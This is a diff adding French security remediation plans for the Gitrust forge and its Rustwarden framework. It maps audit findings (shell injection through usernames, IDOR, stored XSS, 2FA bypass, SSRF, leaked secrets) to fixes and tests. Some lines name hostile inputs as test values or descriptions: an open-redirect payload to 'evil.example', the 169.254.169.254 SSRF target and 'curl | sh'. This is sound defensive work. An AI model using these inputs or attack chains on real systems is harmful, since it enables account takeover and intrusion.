1006 +- [ ] Test : deux `verify` du même code dans la fenêtre → second `Ok(false)` / `TotpInvalid`
1007 +
1008 +### Task 20 : Implémenter RFC 0038
1009 +
1010 +- [ ] `update_profile` : si email change, reset flags + send mail + alerte ancienne
1011 +- [ ] Si SMTP absent : quand même reset `email_verified` (fail-closed accès, pas fail-open mail)
1012 +- [ ] Tests DB
1013 +
1014 +### Task 21 : Implémenter RFC 0040
1015 +
1016 +- [ ] Move check into `AuthService::authenticate_user`
1017 +- [ ] Handler login : ne plus dupliquer (appel service suffit)
1018 +- [ ] Test : user non vérifié + setting true → err ; setting false → ok
1019 + (seed admin déjà `email_verified=true`, ne pas y toucher)
1020 +
1021 +### Task 22 : Implémenter RFC 0039
1022 +
1023 +- [ ] `SecurityHeadersConfig` + builder
1024 +- [ ] Middleware lit la config **capturée à la construction** (pas Extension — voir RFC 0039)
1025 +- [ ] Tests : défaut inchangé ; override CSP ; COOP opt-in
1026 +- [ ] **Ne pas** retirer `unsafe-inline` tant que Phase 1 Alpine CSP n’est pas faite (tâche séparée, plan existant)
1027 +
1028 +---
1029 +
1030 +## Phase 3 — Doc consommateur et CLI
1031 +
1032 +### Task 23
1033 +
1034 +- [ ] `docs/developer-guide/07-security-model.md` : username, TOTP caps, headers config
1035 +- [ ] Mention `update-project` + fenêtre 14 jours
1036 +- [ ] Wizard : `.env.example` sans placeholder JWT **ni** `ADMIN_PASSWORD=REMPLACER_…` (Task 1) ; premier `cargo run` d’un projet scaffoldé boot ou échoue avec message actionnable
1037 +- [ ] rustdoc `///` anglais sur toute API nouvelle (`missing_docs = warn`)
1038 +
1039 +---
1040 +
1041 +## Risques et mitigations
1042 +
1043 +| Risque | Mitigation |
1044 +|--------|------------|
1045 +| `OnceLock` pollue les tests / DoS sliding | éviction LRU au cap (Task 6) ; `new_with_limiter` ; `Handle::try_current` |
1046 +| `auth:{ip}` saturera `check_window` au cap | follow-up : réutiliser `evict_if_full` ; atténué par `retain` 60 s — hors 1.0.1 |
1047 +| Double rate-limit 2FA | **IP seule** en 1.0.1 + plafond `create_challenge` ; pas de clé `totp:{user_id}` |
1048 +| `delete_user` ne blacklist pas les JWT d’accès | Hors 1.0.1 (TTL 15 min) ; follow-up F-AUTH |
1049 +| Reset MDP ne révoque pas PAT | Hors 1.0.1 ; F-AUTH Lot 7 Gitrust / RFC ultérieure |
1050 +| `to_ascii_uppercase` sur JWT_SECRET non-ASCII | secret JWT est ASCII par convention ; `to_ascii_uppercase` ignore les non-ASCII — OK |
1051 +| `cargo update rustls` casse `native-tls` | update ciblé ; CI test workspace |
1052 +| `POSTGRES_PASSWORD:?` casse onboarding | README + wizard écrivent déjà `database/.env` |
1053 +| RFC 0036 lowercase breaking | rejet explicite + message ; pas de fold |
1054 +
1055 +---
1056 +
1057 +## Critères d’acceptation (testables)
1058 +
1059 +**Patch 1.0.1**
1060 +
1061 +1. `jwt_secret_is_placeholder("REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE")` == true ; secret hex 64 == false.
1062 +2. Somme des `attempts` TOTP ≥ 15 sur 15 min → `TotpMaxAttemptsExceeded` (même si aucun challenge n’a 5 essais).
1063 +3. `totp_replay_guard_accept(uid, 42)` deux fois → second false.
1064 +4. Test **obligatoire** `MockConnectInfo` : deux IPs, 11e POST `/api/v1/auth/login` de la 1re → 429, même batterie sur la 2e → pas 429. Idem `/2fa/verify`.
1065 +5. Après remplissage du sliding map au cap, une clé email neuve est **acceptée** (éviction, pas 429 global). Deux `PasswordResetService::new` partagent le budget 3/h.
1066 +6. `reset_password` avec mot `a` → Validation ; token non consommé.
1067 +7. `verify_backup_code` passe par `spawn_blocking` (court-circuit `break` conservé).
1068 +8. `map_user_lookup(Err)` → Unavailable ; `map_user_lookup(Ok(None))` → Unauth ; `totp_force_gate(Err)` → Unavailable. Grep final sans `is_ok_and` / `if let Ok(Some` sur la branche protégée.
1069 +9. `sanitize_redirect("/\\evil.example", "/login") == "/login"`.
1070 +10. `PasswordRules::default().validate("password")` Err ; bootstrap **création** refuse ce mot **et** `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT` ; boot **no-op** si un admin existe déjà malgré un `.env` faible.
1071 +11. `cargo audit` : plus de RUSTSEC bcrypt 0.19.0 / rustls 0.23.37 / h2 0.4.13 sur le lockfile framework.
1072 +12. `database/docker-compose.yml` bind `127.0.0.1:5432`, plus de `pass3ord` en défaut compose.
1073 +13. `cargo clippy --workspace -- -D warnings` vert.
1074 +14. Aucun item `pub` ajouté/modifié/supprimé. Handlers `login`/`register`/… signatures inchangées. `check_auth_rate_limit(HeaderMap)` inchangée. Passphrase contenant `change-me` **accepte** (pas de `contains`).
1075 +
1076 +**RFCs**
1077 +
1078 +15. Cinq fichiers `docs/rfcs/0036`…`0040` au template, 3 alternatives, score renseigné.
1079 +16. Après Accept+impl 0036 : `Username::parse` refuse un username avec backtick ; `create_user` idem.
1080 +17. Après 0037 : rejeu même step rejeté (`rows_affected == 0`).
1081 +18. Après 0038 : `email_verified` false après changement d’email.
1082 +19. Après 0040 : appel `authenticate_user` sans passer par le handler refuse l’email non vérifié si setting true.
1083 +20. Après 0039 : une app peut setter COOP `same-origin` sans forker `app.rs` ; défaut CSP inchangé.
1084 +
1085 +---
1086 +
1087 +## Vérification finale
1088 +
1089 +```bash
1090 +cargo test --workspace
1091 +cargo clippy --workspace -- -D warnings
1092 +cargo audit
1093 +cargo doc --workspace --no-deps
1094 +```
1095 +
1096 +```bash
1097 +git grep -nE 'unwrap_or\(false\)|is_ok_and|if let Ok\(Some' \
1098 + crates/rustwarden-core/src/middleware/auth_service.rs
1099 +```
1100 +
1101 +Attendu : plus de fail-open TOTP / user lookup / blacklist sur la branche protégée.
1102 +
1103 +```bash
1104 +git grep -n 'RateLimitService::new()' \
1105 + crates/rustwarden-core/src/services/password_reset_service.rs \
1106 + crates/rustwarden-core/src/services/email_validation_service.rs
1107 +```
1108 +
1109 +Uniquement dans `get_or_init` / `new_with_limiter` tests.
1110 +
1111 +---
1112 +
1113 +## Rollback (patch 1.0.1)
1114 +
1115 +| Tâche | Si ça casse en prod | Retour |
1116 +|-------|---------------------|--------|
1117 +| 1 JWT placeholders | instance refuse de boot | retirer le 5e littéral CLI du tableau, garder les 4 historiques ; secret inchangé |
1118 +| 8 Admin complexité | première install refuse de créer l’admin | `CREATE_DEFAULT_ADMIN=false` + créer l’admin à la main, ou mot conforme `PasswordRules` |
1119 +| 0/3 ConnectInfo + layer | 429 inattendus derrière un proxy | 1) `TRUSTED_PROXY_HOPS=1` ; 2) revert `routes.rs` **et** restaurer les `check_auth_rate_limit` handlers (sinon `/login` n’a plus de limiteur du tout) |
1120 +| 6 Limiteur email | reset légitime 429 | revert `OnceLock` (retour à l’état inerte, disponibilité OK, flood SMTP revient) |
1121 +| 11 PG bind | CI distante n’atteint plus 5432 | rétablir le bind dans un overlay compose, **pas** dans le défaut |
1122 +
1123 +Yank + patch `1.0.2` selon [RUSTWARDEN_EVOLUTION_PROCESS.md](../RUSTWARDEN_EVOLUTION_PROCESS.md) § rollback 24h/48h.
1124 +
1125 +---
1126 +
1127 +## Changelog de planification
1128 +
1129 +- 2026-09-17 : plan initial. Écarts vs catalogue Gitrust : logout SSR déjà OK ici ; E-2 déjà OK pour rustwarden-ui ; ajouts fail-open force-2FA, 2FA sans rate-limit IP, bootstrap admin, `sanitize_redirect`, placeholder CLI, PG compose.
1130 +- 2026-09-17 (Architect, APPROVE WITH CHANGES) : Task 0 ConnectInfo ; anti-rejeu TOTP in-process en 1.0.1 ; Task 4 → 503 pas `?` ; Task 8 validation seulement à la création ; RFC 0037 step+`rows_affected` ; RFC 0039 capture Arc pas Extension ; Evilginx live en Non-goal.
1131 +- 2026-09-17 (Critic APPROVE WITH CHANGES) : nits clippy `_headers`, Expanded Test Plan `CHANGE-ME` accepté, helpers Task 4 nommés, rollback restaure les appels handler, `evict_if_full` follow-up possible sur `check_window`.
A docs/remediation_audit_securite_ad2eec33.plan.md
+319 -0
@@ -0,0 +1,319 @@
1 +---
2 +name: Remediation audit securite
3 +overview: Plan de remédiation de tous les constats nommés de l’audit (C/E/M + scénarios A–E, faibles en lots), avec solution concrète, apport sécurité, et cible Gitrust vs Rustwarden selon le processus d’évolution (workaround local → UPSTREAM_RUSTWARDEN.md → RFC ou PR, jamais de patch dans la copie vendored).
4 +todos:
5 + - id: lot0-secrets
6 + content: "Lot 0 : rotation secrets, .env.test.example, gitignore dump SQL, JWT placeholder + garde main.rs / deploy.sh (C-4 à C-8, Scénario E)"
7 + status: completed
8 + - id: lot1-username-rce
9 + content: "Lot 1 : newtype Username Gitrust, argv natif ci_worker, containment on_user_deleted, supprimer create_dir_all brut (M-1, C-1, C-2, E-13)"
10 + status: completed
11 + - id: lot2-authz
12 + content: "Lot 2 : can_manage merge_pull, can_push dans ResolvedRepo/ApiRepoContext, scopes PAT, IDOR labels/CI/teams (C-3, E-7 à E-11, M-12, M-13)"
13 + status: completed
14 + - id: lot3-xss
15 + content: "Lot 3 : data-* à la place des onclick/onsubmit, charset labels, override CSP (E-5, E-6, M-10)"
16 + status: in_progress
17 + - id: lot4-authn
18 + content: "Lot 4 : fail-closed 2FA, rate limit login/2FA, email vérifié, complexité MDP, OnceLock reset, logout blacklist (E-1 à E-4, M-2 à M-11)"
19 + status: pending
20 + - id: lot5-git-ci
21 + content: "Lot 5 : bump russh, timeouts git, isolation CI, 404 uniforme, SSRF, ssh-guard caps (E-12, E-14, E-19, M-14 à M-19, M-24)"
22 + status: pending
23 + - id: lot6-deploy
24 + content: "Lot 6 : chmod 600, APP_DEBUG, nginx LE, PG bind, systemd, Docker, setup-remote-ci (E-15 à E-18, M-20 à M-23, M-25)"
25 + status: pending
26 + - id: upstream-rfcs
27 + content: "Catalogue rustwarden : PRs Security (E-3, C-7, M-3, M-8) + RFCs (M-1, M-5, M-7, M-10, E-4) documentées dans UPSTREAM_RUSTWARDEN.md"
28 + status: pending
29 + - id: lot7-hygiene
30 + content: "Lot 7 : paquets F-AUTH / F-UI / F-OPS (faibles et info regroupés)"
31 + status: pending
32 +isProject: false
33 +---
34 +
35 +# Plan de remédiation — audit sécurité Gitrust
36 +
37 +Document source : [docs/SECURITY_AUDIT.md](docs/SECURITY_AUDIT.md). Livrable d’implémentation (après validation) : [docs/plans/security-audit-remediation.md](docs/plans/security-audit-remediation.md), plus mises à jour de [docs/UPSTREAM_RUSTWARDEN.md](docs/UPSTREAM_RUSTWARDEN.md) pour chaque gap framework.
38 +
39 +**Règle de frontière (non négociable)** : ne jamais modifier `crates/rustwarden-core/`. Un `update-project` écrase tout écart. Les correctifs framework se font dans le dépôt Rustwarden (`~/Documents/devel/Rustwarden`), puis resynchro. En attendant : **workaround Gitrust + entrée datée dans `UPSTREAM_RUSTWARDEN.md`**.
40 +
41 +```mermaid
42 +flowchart TD
43 + finding[Constat audit]
44 + finding --> where{Où vit le code fautif ?}
45 + where -->|gitrust-* / src / deployment| gitrust[Correctif direct Gitrust]
46 + where -->|rustwarden-core| gap{Changement d API publique, defaut, schema ou politique secu ?}
47 + gap -->|Non: bug interne, dep bump, tests| pr[PR directe upstream patch Security]
48 + gap -->|Oui| rfc[RFC docs/rfcs/NNNN-slug.md]
49 + rfc --> score[Grille 7 criteres min 25/35]
50 + score --> impl[PR d implementation dans le depot Rustwarden]
51 + pr --> impl
52 + impl --> sync["update-project + bump .rustwarden-version"]
53 + gitrust --> workaround{Le framework devrait aussi le garantir ?}
54 + workaround -->|Oui| doc[Workaround documente + RFC/PR]
55 + workaround -->|Non logique forge| done[Termine cote Gitrust]
56 +```
57 +
58 +## Règle de classement (rappel processus)
59 +
60 +D’après [docs/RUSTWARDEN_EVOLUTION_PROCESS.md](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §2 et §11.3 :
61 +
62 +- **Gitrust seul** : bug/logique métier forge, templates, CI, SSH, déploiement.
63 +- **Workaround Gitrust immédiat** : le gap est dans le framework, mais on peut se protéger sans le modifier (valider avant l’appel, `OnceLock`, header CSP override, `register_protected_prefix`).
64 +- **PR rustwarden (pas de RFC)** : bug sans changement d’API, bump de dépendance, refactor interne, tests, doc. Les patches **Security** ont une fenêtre d’adoption de 14 jours.
65 +- **RFC obligatoire** : item `pub`, comportement par défaut, migration DB, format sérialisé, **politique de sécurité**, nouveau service/middleware.
66 +
67 +---
68 +
69 +## Cartographie des scénarios → constats
70 +
71 +Chaque scénario est une **chaîne** : on ferme la chaîne en traitant tous les constats listés, pas seulement le premier.
72 +
73 +- **Scénario A — De l’inscription à la RCE sur l’hôte** : M-1 + E-13 + C-1 (et C-2 en variante destruction). Apport : un compte lambda ne peut plus exécuter de commande sur le processus `gitrust`.
74 +- **Scénario B — Écrire dans le dépôt d’un tiers** : C-3 + E-7 + E-8. Apport : l’intégrité Git n’est plus contournable via l’API ou un PAT « lecture ».
75 +- **Scénario C — XSS stockée chez le mainteneur / l’admin** : E-5 + E-6 + M-1 + M-10. Apport : le contenu utilisateur n’est plus interprété comme du JavaScript inline.
76 +- **Scénario D — Contournement du second facteur** : E-1 + E-2 + E-3 (+ M-7, M-8 en renforcement). Apport : le 2FA redevient une barrière, pas un délai.
77 +- **Scénario E — Compromission admin par mot de passe trivial / secrets livrés** : C-4 + C-5 + C-6 + C-7 + C-8. Apport : plus de prise de contrôle à la première tentative ni de forge de JWT avec un secret public.
78 +
79 +---
80 +
81 +## Lot 0 — Secrets et hygiène Git (Scénario E)
82 +
83 +**Cible : Gitrust + actions opérateur. Aucun code rustwarden.** Ne pas committer de secrets ; rotation hors dépôt.
84 +
85 +- **C-4** — Secrets de prod dans l’historique (`.env.gitrustmule`, commits `91ff499` / `20dbf23`).
86 + - Solution : rotation immédiate de `JWT_SECRET`, mot de passe PG, `ADMIN_PASSWORD`, `SMTP_PASSWORD` sur prod **et** démo ; purge `refresh_tokens` / `sessions` ; puis arbitrage `git filter-repo` (coût : tous les clones à recréer).
87 + - Apport : un clone du dépôt ne permet plus de forger un JWT admin ni d’ouvrir la base.
88 +- **C-5** — `.env.test` versionné avec secrets de prod.
89 + - Solution : `git rm --cached .env.test` ; `.env.test.example` à valeurs ostensiblement factices ; `.gitignore` ; rotation `OAUTH_ENCRYPTION_KEY` et mot de passe PG (identiques à la prod d’après l’audit).
90 + - Apport : plus de mot de passe de production dans le dépôt suivi.
91 +- **C-6** — `ADMIN_PASSWORD=password` dans 4 fichiers locaux.
92 + - Solution : générer un mot de passe fort ; laisser vide pour que le framework génère (déjà prévu si absent) ; ne jamais versionner `.env.production`.
93 + - Apport : ferme le Scénario E (login admin trivial).
94 +- **C-7** — Placeholder `JWT_SECRET=REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (36 car.) accepté + `deploy.sh` le promeut.
95 + - **Gitrust** : vider la valeur dans `.env.example` ; `deploy.sh` **échoue** s’il n’y a pas de `.env.production` ; garde dans `src/main.rs` refusant les marqueurs `REMPLACER`/`CHANGE`/`EXAMPLE`/`TODO`.
96 + - **Rustwarden PR (pas de RFC)** : ajouter ce placeholder à `KNOWN_EXAMPLES` dans `config/auth.rs` (hardening de liste, pas de changement d’API). Documenter dans `UPSTREAM_RUSTWARDEN.md` en attendant le bump.
97 + - Apport : une instance déployée « selon le README » ne démarre plus avec un secret public.
98 +- **C-8** — Dump SQL 22 Mo non gitignoré.
99 + - Solution : déplacer hors arborescence, `chmod 600` ; `.gitignore` : `*.sql`, `/Services/` ; éventuellement hook pre-commit taille max.
100 + - Apport : un `git add .` ne publie plus la base utilisateurs.
101 +
102 +---
103 +
104 +## Lot 1 — Username + RCE + FS (Scénario A)
105 +
106 +Cause racine unique : **M-1**. Un newtype Gitrust + argv natif ferment C-1/C-2/E-13/E-6 même avant le fix framework.
107 +
108 +- **M-1** — `username` non validé.
109 + - **Gitrust immédiat** : newtype `Username` calqué sur [crates/gitrust-core/src/types.rs](crates/gitrust-core/src/types.rs) (`RepoSlug`) : `^[a-z0-9-]{3,39}$`, pas de `--`, pas de tiret en tête/queue, noms réservés (`admin`, `api`, `login`, `settings`, `explore`, …). Appliquer dans `register_submit`, `admin_users`, `update_profile` (avant l’appel framework), et durcir `compute_disk_path` (charset owner).
110 + - **Rustwarden RFC** : validation charset dans `UserService::create_user` + `RegisterRequest` (changement de **comportement par défaut** + politique de sécu → RFC obligatoire). Workaround Gitrust documenté jusqu’au merge + `update-project`.
111 + - Apport : plus de métacaractères shell, traversée, homoglyphes, collision de routes, XSS via username.
112 +- **C-1** — `sh -c` dans [ci_worker.rs](crates/gitrust-core/src/services/ci_worker.rs) `prepare_workspace`.
113 + - **Gitrust seul** : recopier le patron [sbom_service.rs](crates/gitrust-core/src/services/sbom_service.rs) (argv natif `git` | `tar`) ; valider `commit_sha` `^[0-9a-f]{40}$`.
114 + - Apport : même username malveillant, plus d’interpolation shell → ferme le Scénario A.
115 +- **C-2** — `on_user_deleted` sans validation ([gitrust-hooks/src/lib.rs](crates/gitrust-hooks/src/lib.rs)).
116 + - **Gitrust seul** : même filtre que `on_user_registered` + canonicalisation + `starts_with(repos_base_path)` avant `remove_dir_all`. Idéal long terme : dériver le chemin de l’`user_id`.
117 + - Apport : un rename de compte ne peut plus effacer un répertoire hors base.
118 +- **E-13** — `create_dir_all(&form.username)` dans `register_submit` / `admin_users`.
119 + - **Gitrust seul** : supprimer le doublon ; s’appuyer sur le hook `on_user_registered` (déjà validé) après validation `Username`.
120 + - Apport : plus de création de répertoire hors arborescence à l’inscription.
121 +
122 +---
123 +
124 +## Lot 2 — Autorisation et IDOR (Scénario B)
125 +
126 +Correctifs **100 % Gitrust**. Motif : le contrôle existe déjà sur l’autre branche (SSR vs API).
127 +
128 +- **C-3** — `merge_pull` API sans `can_manage` ([api/pulls.rs](crates/gitrust-web/src/handlers/api/pulls.rs)).
129 + - Solution : après `resolve_api_repo`, exiger `can_manage` (aligné sur SSR `pull_requests.rs:494`).
130 + - Apport : un Reader / anonyme authentifié ne peut plus écrire dans `main` d’un dépôt public.
131 +- **E-7** — 9 handlers d’écriture gardés par la lecture seule.
132 + - Solution structurante : ajouter `can_push` / `can_manage` à `ResolvedRepo` ([helpers.rs](crates/gitrust-web/src/helpers.rs)) et `ApiRepoContext` ([api/repos.rs](crates/gitrust-web/src/handlers/api/repos.rs)) ; politique forge : close/reopen = auteur **ou** `can_push` ; commenter / créer PR / créer issue = `can_push` (issues publiques : choix produit explicite).
133 + - Apport : plus de vandalisme issues/PR sur les dépôts publics.
134 +- **E-8** — Scopes PAT décoratifs ([api_auth.rs](crates/gitrust-web/src/extractors/api_auth.rs), [git_http.rs](crates/gitrust-web/src/handlers/git_http.rs)).
135 + - Solution : porter `scopes` dans `ApiUser` ; `require_api_write()` sur mutations ; `GitWrite` strict pour `git-receive-pack` ; cases à cocher à la création de PAT (aujourd’hui `DEFAULT_SCOPES` = tout).
136 + - Apport : un jeton « lecture » fuité n’autorise plus le push ni l’API d’écriture.
137 +- **E-9** — IDOR labels (`find_by_id` nu).
138 + - Solution : `LabelService::{update,delete}_for_owner(owner_id, repo_id, label_id)` avec filtre SQL (patron déjà dans `issue_labels.rs`).
139 + - Apport : un Maintainer de son bac à sable ne peut plus détruire les labels d’un tiers.
140 +- **E-10 / E-11** — IDOR pipelines / variables CI SSR (l’API est déjà correcte).
141 + - Solution : comparer `pipeline.repository_id` / scope de variable à `resolved.repo.id` ; idéalement `find_pipeline_in_repo` / `delete_in_scope`.
142 + - Apport : plus de lecture de logs (secrets) ni sabotage CI cross-dépôt.
143 +- **M-12** — Labels arbitraires à la création d’issue.
144 + - Solution : intersecter `form.label_ids` avec `list_all_for_repo` (comme `issue_labels.rs:56`).
145 + - Apport : plus de fuite de libellés privés (clients, embargo).
146 +- **M-13** — `team_id` non borné au propriétaire.
147 + - Solution : vérifier `team.owner_id == repo.owner_id` avant `share_with`.
148 + - Apport : un Maintainer temporaire ne peut plus laisser une backdoor d’équipe.
149 +
150 +---
151 +
152 +## Lot 3 — XSS navigateur (Scénario C)
153 +
154 +**Gitrust** pour les templates ; **Rustwarden RFC** pour la CSP par défaut.
155 +
156 +- **E-5** — `onclick="… '{{ label.name }}'"` ([issue_detail.html](crates/gitrust-web/templates/repository/issue_detail.html), [labels_suggest.html](crates/gitrust-web/templates/fragments/labels_suggest.html)).
157 + - Solution : `data-label-name` + délégation d’événement JS ; `validate_label_name` charset sûr.
158 + - Apport : un auteur d’issue ne peut plus exécuter du JS chez le mainteneur.
159 +- **E-6** — `onsubmit` avec `username` / `owner/slug` ([user_detail.html](crates/gitrust-web/templates/admin/user_detail.html), [settings.html](crates/gitrust-web/templates/repository/settings.html)).
160 + - Solution : même patron `data-expected` ; fermé aussi par M-1.
161 + - Apport : un compte fraîchement inscrit ne pwn plus l’admin à l’ouverture de sa fiche.
162 +- **M-10** — CSP `unsafe-inline` + `unsafe-eval` ([rustwarden-core/src/app.rs](crates/rustwarden-core/src/app.rs)).
163 + - **Gitrust workaround** : `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)` après le middleware framework ; retirer `'unsafe-eval'` tout de suite ; extraire les 7 `<script>` inline vers `static/js/` puis retirer `'unsafe-inline'`.
164 + - **Rustwarden RFC** : changement de **politique de sécurité par défaut** (CSP). Alternative : API `security_headers_config` additive (non-breaking, score grille plus haut).
165 + - Apport : même XSS future ne s’exécute plus (défense en profondeur du Scénario C).
166 +
167 +---
168 +
169 +## Lot 4 — Authentification et 2FA (Scénario D)
170 +
171 +Mix Gitrust immédiat / PR ou RFC rustwarden.
172 +
173 +- **E-1** — Fail-open TOTP dans [auth.rs](crates/gitrust-web/src/handlers/auth.rs) (et `force_2fa_check` `unwrap_or(false)`).
174 + - **Gitrust seul** : `Err` → page d’erreur, pas de JWT. Même fail-closed dans le middleware.
175 + - Apport : une saturation PG ne désactive plus le second facteur.
176 +- **E-2** — Pas de rate limit sur `POST /login` SSR.
177 + - **Gitrust** : `OnceLock<RateLimitService>` (patron [import.rs](crates/gitrust-web/src/handlers/repository/import.rs)) clés `login_ip:` et `login_user:` ; `limit_req` nginx en défense.
178 + - **Rustwarden RFC (optionnelle, plus tard)** : exposer le limiteur auth aussi sur les routes browser, pas seulement `/api/v1/auth/login`. En attendant le workaround suffit.
179 + - Apport : brute-force et DoS bcrypt bornés ; réduit la capacité à provoquer E-1.
180 +- **E-3** — Anti-brute-force TOTP compte les challenges saturés *(upstream)*.
181 + - **Gitrust palliatif** : rate limit `totp:<user_id>` + IP sur `POST /login/2fa`.
182 + - **Rustwarden PR Security (pas de RFC)** : bug interne, signatures inchangées — sommer `attempts` sur 15 min, plafond global (ex. 15). Si l’on considère que c’est un changement de politique, RFC courte ; recommandation : **PR patch Security** (comportement *voulu* cassé).
183 + - Apport : plus de 4 essais × N challenges illimités (Scénario D).
184 +- **E-4** — Login SSR ignore `EMAIL_VALIDATION_REQUIRED` ; register n’envoie pas le mail.
185 + - **Gitrust** : après `authenticate_user`, lire `AppSettingsService::get_bool(..., "validation_email_required")` et bloquer si `!email_verified` ; à l’inscription appeler `EmailValidationService::send_validation_email` (service déjà utilisé). Attention : admin bootstrap est `email_verified=false` — prévoir exception ou le marquer vérifié à la création.
186 + - **Rustwarden RFC** si l’on veut que `AuthService::authenticate_user` refuse les emails non vérifiés **par défaut** (changement de comportement pour toutes les apps). Workaround Gitrust d’abord.
187 + - Apport : plus de comptes usurpateurs d’email opérationnels immédiatement.
188 +- **M-2** — Politique mot de passe absente à l’inscription / reset.
189 + - **Gitrust** : appeler `validate_password_complexity` avant `hash_password` dans `register_submit` et `reset_password_submit`.
190 + - **Rustwarden PR/RFC** : `PasswordResetService::reset_password` doit valider lui-même (le commentaire « Validate and hash » est mensonger). PR si on considère un bug ; RFC si nouveau contrat public.
191 + - Apport : plus de mot de passe `a` via « mot de passe oublié », y compris admin.
192 +- **M-3** — Rate limit email inerte (nouvelle instance par requête).
193 + - **Gitrust** : `OnceLock<PasswordResetService>` / `EmailValidationService` + limiteur IP.
194 + - **Rustwarden PR** : limiteur partagé (static / injecté) — bug interne, pas d’API publique nécessairement. Documenter le workaround.
195 + - Apport : plus de flood SMTP / harcèlement par reset.
196 +- **M-4** — Pas de ré-auth pour 2FA off, email, clé SSH, PAT.
197 + - **Gitrust** : exiger `current_password` (et TOTP si actif) sur ces POST. Logique métier forge/UI.
198 + - Apport : un cookie volé ne suffit plus à prendre le compte définitivement.
199 +- **M-5** — Changement d’email conserve `email_verified` *(upstream)*.
200 + - **Gitrust palliatif** : si un handler Gitrust change l’email, forcer `email_verified=false` via API existante si possible ; sinon ne pas exposer le changement d’email tant que le framework n’est pas corrigé.
201 + - **Rustwarden RFC** : flux confirmation nouvelle adresse + alerte ancienne (comportement + probablement table/pending). Obligatoire RFC.
202 + - Apport : plus de vol de compte par substitution d’email « déjà vérifié ».
203 +- **M-6** — Logout SSR ne blacklist pas le JWT.
204 + - **Gitrust** : appeler `JwtBlacklistService` (déjà utilisé par le logout API framework).
205 + - Apport : « se déconnecter » sur un poste public coupe l’accès en cours.
206 +- **M-7** — Pas d’anti-rejeu TOTP *(upstream, schéma DB)*.
207 + - **Gitrust palliatif** : mémoriser `(user_id, hash(code))` 90 s dans un `RateLimitService` statique.
208 + - **Rustwarden RFC** : colonne `last_used_step` → **RFC obligatoire** (migration).
209 + - Apport : un code intercepté (Evilginx) n’est plus rejouable.
210 +- **M-8** — `bcrypt::verify` synchrone sur backup codes *(upstream)*.
211 + - **Gitrust palliatif** : couvert par le rate limit E-3/E-2.
212 + - **Rustwarden PR** : `spawn_blocking` + comparaison sans court-circuit. Pas de RFC (interne).
213 + - Apport : plus de DoS du runtime Tokio via `/login/2fa`.
214 +- **M-9** — Squat d’empreinte SSH + oracle.
215 + - **Gitrust** : message d’erreur indistinguable ; idéalement preuve de possession (défi signé). Auth SSH : lier username présenté ↔ owner de la clé.
216 + - Apport : un attaquant ne peut plus bloquer la clé GitHub d’une victime ni l’usurper en SSH.
217 +- **M-11** — Open redirect `/\evil.com`.
218 + - **Gitrust** : normaliser `\` → `/` avant le test `starts_with('/') && !starts_with("//")`.
219 + - Apport : plus de phishing post-login depuis une URL gitrust légitime.
220 +
221 +---
222 +
223 +## Lot 5 — Git, SSH, CI, DoS
224 +
225 +**100 % Gitrust** (crates git/ssh/ssh-guard/core).
226 +
227 +- **E-12** — CVE russh 0.58 pré-auth.
228 + - Solution : `russh` / `russh-cryptovec` ≥ 0.60.3 ; adapter `Handler` si l’API a bougé ; `cargo audit --deny warnings` dans Dagger. Bumps `h2`, `rustls`, `bcrypt`, `quick-xml`, `ammonia` (hygiène ; ammonia non exploitable ici).
229 + - **Rustwarden PR** : bump `bcrypt` / `rustls` / `h2` dans le `Cargo.toml` framework (dépendances transitives). Gitrust peut quand même forcer via `[patch]` temporaire — à éviter ; préférer bump workspace + PR upstream pour bcrypt.
230 + - Apport : plus de DoS mémoire anonyme sur :2222.
231 +- **E-14** — Pas de timeout / limite pack.
232 + - Solution : `tokio::time::timeout` autour de `child.wait()` ; `DefaultBodyLimit` sur routes git ; `receive.maxInputSize` / `receive.fsckObjects`.
233 + - Apport : un client ne peut plus saturer CPU/disque par un receive-pack infini.
234 +- **E-19** — Runner CI colocalisé (`CI_REMOTE_HOST=localhost` par défaut).
235 + - Solution : si `APP_DEBUG=false`, refuser `localhost` ou warn fatal ; `env -i` pour `dagger call` ; doc opérateur : runner séparé, pas de socket Docker sur l’hôte forge.
236 + - Apport : le code CI d’un tenant n’est plus root sur la machine qui tient les dépôts privés.
237 +- **M-14** — Oracle 401 vs 404 (web + git).
238 + - Solution : 404 uniforme pour « inaccessible » ; redirect login seulement si cookie de session *présent*.
239 + - Apport : plus d’énumération de noms de dépôts privés.
240 +- **M-15** — Env git héritée.
241 + - Solution : `env_clear()` + PATH/HOME minimaux ; binaire git en chemin absolu.
242 + - Apport : `LD_PRELOAD` / `GIT_CONFIG` du process ne fuite plus vers le pack protocol.
243 +- **M-16** — SSRF import (DNS rebinding / redirects).
244 + - Solution : résoudre, valider **toutes** les IP, pinner ; re-valider les `Location:` ; couvrir `fe80::/10` et IPv4-mapped.
245 + - Apport : un import ne peut plus viser 169.254.169.254.
246 +- **M-17** — Markdown/syntect sans plafond.
247 + - Solution : cap body issue/PR/commentaire (64–256 KiB) ; timeout / fallback texte au-delà d’un seuil de highlight.
248 + - Apport : plus de DoS CPU à l’affichage d’une issue.
249 +- **M-18 / M-19** — Store ssh-guard non borné ; `MAX_CONCURRENT_PER_IP` jamais branché.
250 + - Solution : cap LRU sur le `Vec` d’événements ; brancher le compteur dans le listener.
251 + - Apport : flood SSH ne fait plus exploser la RAM ; limite de connexions effective.
252 +- **M-24** — `rm -rf` distant CI jamais awaité.
253 + - Solution : awaiter le cleanup ; workspace imprévisible par pipeline.
254 + - Apport : plus de fuite de code entre tenants sur le runner partagé.
255 +
256 +---
257 +
258 +## Lot 6 — Déploiement et durcissement opérateur
259 +
260 +**Gitrust / ops uniquement.**
261 +
262 +- **E-15** — `.env` distant pas en `600` : `chmod 600` + `chown gitrust` après rsync dans [deploy.sh](deployment/deploy.sh).
263 +- **E-16** — `APP_DEBUG=true` en prod : `false` + `COOKIE_SECURE=true` ; refuse de démarrer si HTTPS public + debug.
264 +- **E-17** — snakeoil nginx : Let’s Encrypt par défaut, snakeoil commenté, doc certbot.
265 +- **E-18** — PG `0.0.0.0:5432` + `pass3ord` : `127.0.0.1:5432` + `${POSTGRES_PASSWORD:?}`.
266 +- **M-20** — `curl | sh` / `source .env` : SHA épinglés, parse `KEY=value` sans shell.
267 +- **M-21** — systemd : retirer `CAP_NET_BIND_SERVICE` ; ajouter bounding set, seccomp, `MemoryMax`.
